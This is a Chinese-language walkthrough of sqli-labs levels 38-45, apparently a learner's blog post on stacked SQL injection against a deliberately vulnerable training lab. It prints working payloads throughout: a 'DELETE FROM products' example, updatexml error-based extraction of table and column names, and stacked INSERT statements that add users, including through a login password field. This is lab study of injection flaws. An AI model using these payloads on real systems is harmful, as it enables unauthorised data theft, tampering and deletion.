sqli-labs(38-45)堆叠注入
38 堆叠注入介绍
堆叠注入简介
在SQL数据库中,多查询语句以;
分开,堆叠查询就是利用这个特点,在第二个SQL语句中构造自己要执行的语句
union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?
区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
例如以下这个例子。用户输入:1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
可以利用堆叠注入进行增删改查等操作
堆叠注入的局限性
在我们的web系统中,因为代码通常只返回一个查询结果,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。
因此,在读取数据时,我们建议使用union(联合)注入。
在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。
在PHP中,mysqli_multi_query(connection,query)
函数可以多语句查询SQL
- connection必需,规定使用的MYSQL连接
- query必需,规定一个或多个查询,用分号进行分隔
oracle不能使用堆叠注入
初次尝试
可以用Union注入
这次采用堆叠注入(Stacked Injection)
?id=1 and 1=1
显示结果
?id=1 and 1=2
显示结果
?id=1'
报错
?id=1' and 1=1--+
显示结果
?id=1' and 1=2--+
不显示结果,字符型
获取数据库名?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
获取表名
?id=1' and updatexml(1,concat(0x7e,(select(group_concat(table_name)) from information_schema.tables where table_schema='security' ),0x7e),1)--+
获取users表的字段名
?id=1' and updatexml(1,concat(0x7e,(select(group_concat(column_name)) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+
获得字段名后就可以用户插入信息了
执行?id=1' ;insert into users values('99','alucard','123456')--+
,插入用户
?id=99
插入成功
39 数字型
?id=1 and 1=1
显示
?id=1 and 1=2
不显示,数字型
操作和38同
插入新用户?id=1 ;insert into users values('98','alucard','123456')--+
40 单引号-()
初步分析
?id=1 and 1=1
显示
?id=1 and 1=2
显示 ,不是数字型
?id=1'
不显示 字符型
?id=1' and 1=1--+
不显示
?id=1' and 1=2--+
不显示 可能有()
判断小括号有几种方法:
2'&&'1'='1
- 若查询语句为
where id='$id'
,查询时是where id='2'&&'1'='1'
,结果是where id='2'
,回显会是id=2
。 - 若查询语句为
where id=('$id')
,查询时是where id=('2'&&'1'='1')
,MySQL 将'2'
作为了 Bool 值,结果是where id=('1')
,回显会是id=1
。
1')||'1'=('1
若查询语句有小括号正确回显,若无小括号错误回显(无回显)。
测试括号
?id=2' and '1'='1
显示1的查询结果,有()
用order by判断可用字段为3,接下来可以用UNION查询获得表名,字段名,略过
插入数据?id=1') ;insert into users values('97','link','123456')--+
41 数字型
?id=1 and 1=1
显示
?id=1 and 1=2
不显示,数字型
用order by判断可用字段为3,接下来可以用UNION查询获得表名,字段名,略过
插入数据?id=1') ;insert into users values('90','li12312','123456')--+
42 登陆界面堆叠注入
初次尝试
抓包,修改user值看看
尝试登录,失败
修改password值
登录成功
源码分析
没有对输入的password进行转义,导致绕过
单引号型
43 (' ')
黑盒测试
在password处插入数据1');insert into users values('88','link','123')--+
它报错了,由此得知password被('')包裹
测试插入成功没,尝试登录,登录成功
数据库也插入成功
源码分析
没对password使用mysqli_real_escape_string()
函数
复习一下mysqli_real_escape_string()
定义和用法
mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。
语法
mysqli_real_escape_string(connection,escapestring);
-
connection:必需;规定要使用的 MySQL 连接。
-
escapestring: 必需 ;要转义的字符串。
-
编码的字符是
NULL
,(ASCII 0)
,\n
、\r
,\
,' 和"
以及 Control-Z。 -
返回值:返回已转义的字符串。
44盲注
黑盒测试
在login_user处插入数据,查看数据库发现没有插入成功
在login_password处插入数据
查看数据库,插入成功
源码分析
和43一样,只是不会报错了
45 盲注
几次尝试之后,插入成功了
感觉盲注还挺难的